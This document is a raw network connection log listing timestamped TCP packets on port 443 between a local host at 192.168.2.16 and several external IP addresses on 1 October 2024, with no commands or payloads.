Oct 1, 2024 15:08:05.646120071 CEST	49713	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.646127939 CEST	443	49713	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.646168947 CEST	49713	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.656128883 CEST	49715	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:08:05.656177998 CEST	443	49715	35.190.80.1	192.168.2.16
Oct 1, 2024 15:08:05.656246901 CEST	49715	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:08:05.656528950 CEST	49715	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:08:05.656543016 CEST	443	49715	35.190.80.1	192.168.2.16
Oct 1, 2024 15:08:05.698960066 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 1, 2024 15:08:05.731926918 CEST	443	49713	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.756407976 CEST	49716	443	192.168.2.16	142.250.184.196
Oct 1, 2024 15:08:05.756443977 CEST	443	49716	142.250.184.196	192.168.2.16
Oct 1, 2024 15:08:05.756520033 CEST	49716	443	192.168.2.16	142.250.184.196
Oct 1, 2024 15:08:05.756716013 CEST	49716	443	192.168.2.16	142.250.184.196
Oct 1, 2024 15:08:05.756731987 CEST	443	49716	142.250.184.196	192.168.2.16
Oct 1, 2024 15:08:05.775218964 CEST	443	49713	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.775249958 CEST	443	49713	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.775332928 CEST	49713	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.775346994 CEST	443	49713	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.775407076 CEST	49713	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.775525093 CEST	443	49713	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.776936054 CEST	443	49713	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.777029991 CEST	49713	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.777036905 CEST	443	49713	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.777297974 CEST	443	49713	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.777352095 CEST	49713	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.777357101 CEST	443	49713	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.777477980 CEST	443	49713	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.777539015 CEST	49713	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.777546883 CEST	443	49713	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.777625084 CEST	443	49713	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.777692080 CEST	49713	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.777806044 CEST	49713	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.777818918 CEST	443	49713	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.801517963 CEST	49714	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.803066015 CEST	49717	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.803100109 CEST	443	49717	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.803174973 CEST	49717	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.803553104 CEST	49717	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.803566933 CEST	443	49717	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.807554960 CEST	49718	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.807569981 CEST	443	49718	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.807636023 CEST	49718	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.807919025 CEST	49718	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:05.807931900 CEST	443	49718	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:05.843405008 CEST	443	49714	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.117996931 CEST	443	49715	35.190.80.1	192.168.2.16
Oct 1, 2024 15:08:06.118263006 CEST	49715	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:08:06.118282080 CEST	443	49715	35.190.80.1	192.168.2.16
Oct 1, 2024 15:08:06.119369984 CEST	443	49715	35.190.80.1	192.168.2.16
Oct 1, 2024 15:08:06.119472980 CEST	49715	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:08:06.120657921 CEST	49715	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:08:06.120657921 CEST	49715	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:08:06.120671034 CEST	443	49715	35.190.80.1	192.168.2.16
Oct 1, 2024 15:08:06.120723009 CEST	443	49715	35.190.80.1	192.168.2.16
Oct 1, 2024 15:08:06.170952082 CEST	49715	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:08:06.170964003 CEST	443	49715	35.190.80.1	192.168.2.16
Oct 1, 2024 15:08:06.218941927 CEST	49715	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:08:06.248282909 CEST	443	49715	35.190.80.1	192.168.2.16
Oct 1, 2024 15:08:06.248682976 CEST	49715	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:08:06.248703003 CEST	443	49715	35.190.80.1	192.168.2.16
Oct 1, 2024 15:08:06.248753071 CEST	49715	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:08:06.248759031 CEST	443	49715	35.190.80.1	192.168.2.16
Oct 1, 2024 15:08:06.248807907 CEST	49715	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:08:06.249547958 CEST	49720	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:08:06.249587059 CEST	443	49720	35.190.80.1	192.168.2.16
Oct 1, 2024 15:08:06.249713898 CEST	49720	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:08:06.250183105 CEST	49720	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:08:06.250195026 CEST	443	49720	35.190.80.1	192.168.2.16
Oct 1, 2024 15:08:06.261159897 CEST	443	49717	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.261432886 CEST	49717	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.261446953 CEST	443	49717	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.262558937 CEST	443	49717	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.262629032 CEST	49717	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.262948036 CEST	49717	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.262959003 CEST	49717	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.263014078 CEST	49717	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.263022900 CEST	443	49717	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.263081074 CEST	49717	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.263300896 CEST	49721	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.263351917 CEST	443	49721	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.263432026 CEST	49721	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.263637066 CEST	49721	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.263652086 CEST	443	49721	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.263801098 CEST	443	49718	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.264015913 CEST	49718	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.264024019 CEST	443	49718	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.265103102 CEST	443	49718	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.265172005 CEST	49718	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.265471935 CEST	49718	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.265490055 CEST	49718	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.265512943 CEST	49718	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.265538931 CEST	443	49718	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.265594959 CEST	49718	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.265718937 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.265729904 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.265796900 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.265975952 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.265985966 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.295341015 CEST	443	49714	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.295479059 CEST	443	49714	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.295538902 CEST	49714	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.296371937 CEST	49714	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.296403885 CEST	443	49714	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.309195995 CEST	49723	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.309247971 CEST	443	49723	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.309315920 CEST	49723	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.310066938 CEST	49723	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.310084105 CEST	443	49723	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.313951015 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 1, 2024 15:08:06.414757967 CEST	443	49716	142.250.184.196	192.168.2.16
Oct 1, 2024 15:08:06.415093899 CEST	49716	443	192.168.2.16	142.250.184.196
Oct 1, 2024 15:08:06.415167093 CEST	443	49716	142.250.184.196	192.168.2.16
Oct 1, 2024 15:08:06.416346073 CEST	443	49716	142.250.184.196	192.168.2.16
Oct 1, 2024 15:08:06.416429996 CEST	49716	443	192.168.2.16	142.250.184.196
Oct 1, 2024 15:08:06.417557955 CEST	49716	443	192.168.2.16	142.250.184.196
Oct 1, 2024 15:08:06.417659998 CEST	443	49716	142.250.184.196	192.168.2.16
Oct 1, 2024 15:08:06.458019018 CEST	49716	443	192.168.2.16	142.250.184.196
Oct 1, 2024 15:08:06.458051920 CEST	443	49716	142.250.184.196	192.168.2.16
Oct 1, 2024 15:08:06.505961895 CEST	49716	443	192.168.2.16	142.250.184.196
Oct 1, 2024 15:08:06.570007086 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 1, 2024 15:08:06.727229118 CEST	443	49720	35.190.80.1	192.168.2.16
Oct 1, 2024 15:08:06.727659941 CEST	49720	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:08:06.727677107 CEST	443	49720	35.190.80.1	192.168.2.16
Oct 1, 2024 15:08:06.728033066 CEST	443	49720	35.190.80.1	192.168.2.16
Oct 1, 2024 15:08:06.728446960 CEST	49720	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:08:06.728518963 CEST	443	49720	35.190.80.1	192.168.2.16
Oct 1, 2024 15:08:06.728699923 CEST	49720	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:08:06.741326094 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.741625071 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.741643906 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.742703915 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.742779970 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.742985964 CEST	443	49721	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.743235111 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.743298054 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.743428946 CEST	49721	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.743438005 CEST	443	49721	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.743633986 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.743640900 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.744479895 CEST	443	49721	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.744556904 CEST	49721	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.744960070 CEST	49721	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.745023966 CEST	443	49721	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.745155096 CEST	49721	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.745162964 CEST	443	49721	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.773411036 CEST	443	49723	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.773643970 CEST	49723	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.773668051 CEST	443	49723	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.775135994 CEST	443	49723	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.775226116 CEST	49723	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.775399923 CEST	443	49720	35.190.80.1	192.168.2.16
Oct 1, 2024 15:08:06.775748968 CEST	49723	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.775791883 CEST	49723	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.775831938 CEST	443	49723	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.775850058 CEST	49723	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.776002884 CEST	49723	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.776678085 CEST	49724	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.776721954 CEST	443	49724	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.776874065 CEST	49724	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.777060986 CEST	49724	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.777079105 CEST	443	49724	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.791944981 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.791956902 CEST	49721	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.858896971 CEST	443	49720	35.190.80.1	192.168.2.16
Oct 1, 2024 15:08:06.859148979 CEST	443	49720	35.190.80.1	192.168.2.16
Oct 1, 2024 15:08:06.859219074 CEST	49720	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:08:06.859219074 CEST	49720	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:08:06.859236002 CEST	443	49720	35.190.80.1	192.168.2.16
Oct 1, 2024 15:08:06.859308958 CEST	49720	443	192.168.2.16	35.190.80.1
Oct 1, 2024 15:08:06.897710085 CEST	443	49721	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.897838116 CEST	443	49721	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:06.897917986 CEST	49721	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.898683071 CEST	49721	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:06.898701906 CEST	443	49721	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:07.263674021 CEST	443	49724	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:07.263962984 CEST	49724	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:07.263989925 CEST	443	49724	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:07.264442921 CEST	443	49724	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:07.265032053 CEST	49724	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:07.265115023 CEST	443	49724	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:07.265273094 CEST	49724	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:07.311399937 CEST	443	49724	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:07.416064024 CEST	443	49724	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:07.416136980 CEST	443	49724	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:07.416338921 CEST	49724	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:07.416696072 CEST	49724	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:07.416717052 CEST	443	49724	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:07.416728973 CEST	49724	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:07.416769028 CEST	49724	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:07.418303967 CEST	49725	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:07.418350935 CEST	443	49725	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:07.418431997 CEST	49725	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:07.418710947 CEST	49725	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:07.418725967 CEST	443	49725	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:07.524051905 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 1, 2024 15:08:08.170948029 CEST	443	49725	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.171255112 CEST	49725	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.171288967 CEST	443	49725	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.172372103 CEST	443	49725	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.172480106 CEST	49725	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.172729969 CEST	49725	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.172797918 CEST	49725	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.172797918 CEST	49725	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.172800064 CEST	443	49725	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.172972918 CEST	443	49725	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.173038006 CEST	49725	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.173063040 CEST	49725	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.173108101 CEST	49726	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.173134089 CEST	443	49726	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.173221111 CEST	49726	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.173516989 CEST	49726	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.173532963 CEST	443	49726	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.550846100 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.550887108 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.550910950 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.550939083 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.550971031 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.550987959 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.551007986 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.551023006 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.551065922 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.551070929 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.551512957 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.551534891 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.551570892 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.551578045 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.551687956 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.555614948 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.555644035 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.555706978 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.555727959 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.568629026 CEST	49727	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:08.568670034 CEST	443	49727	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:08.568753958 CEST	49727	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:08.569031000 CEST	49727	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:08.569048882 CEST	443	49727	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:08.569842100 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:08.569876909 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:08.569937944 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:08.570081949 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:08.570092916 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:08.609930992 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.633996010 CEST	443	49726	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.634279013 CEST	49726	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.634295940 CEST	443	49726	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.634649038 CEST	443	49726	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.635031939 CEST	49726	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.635113955 CEST	443	49726	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.637476921 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.637526035 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.637598991 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.637603045 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.637619972 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.637669086 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.637676001 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.637732983 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.637752056 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.637787104 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.637794018 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.637845039 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.680670023 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.680717945 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.680816889 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.680823088 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.680843115 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.680916071 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.680922031 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.681354046 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.681422949 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.681428909 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.681509972 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.681557894 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.681564093 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.682516098 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.682538986 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.682585001 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.682602882 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.682607889 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.682638884 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.682648897 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.682653904 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.682693005 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.683032036 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.683063030 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.683085918 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.683090925 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.683139086 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.688956976 CEST	49726	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.725099087 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.725193024 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.725271940 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.725286961 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.726030111 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.726104975 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.726118088 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.726186991 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.726588011 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.726644039 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.726650000 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.726799965 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.727336884 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.727408886 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.766824007 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.766879082 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.766983986 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.766997099 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.767011881 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.767046928 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.767061949 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.767066956 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.767596960 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.767627954 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.767666101 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.767672062 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.767698050 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.767729998 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.768764973 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.768795013 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.768831968 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.768836021 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.768853903 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.768897057 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.811795950 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.811978102 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.811994076 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.812160969 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.812477112 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.812536001 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.812540054 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.812551975 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.812599897 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.815258980 CEST	443	49722	104.21.11.126	192.168.2.16
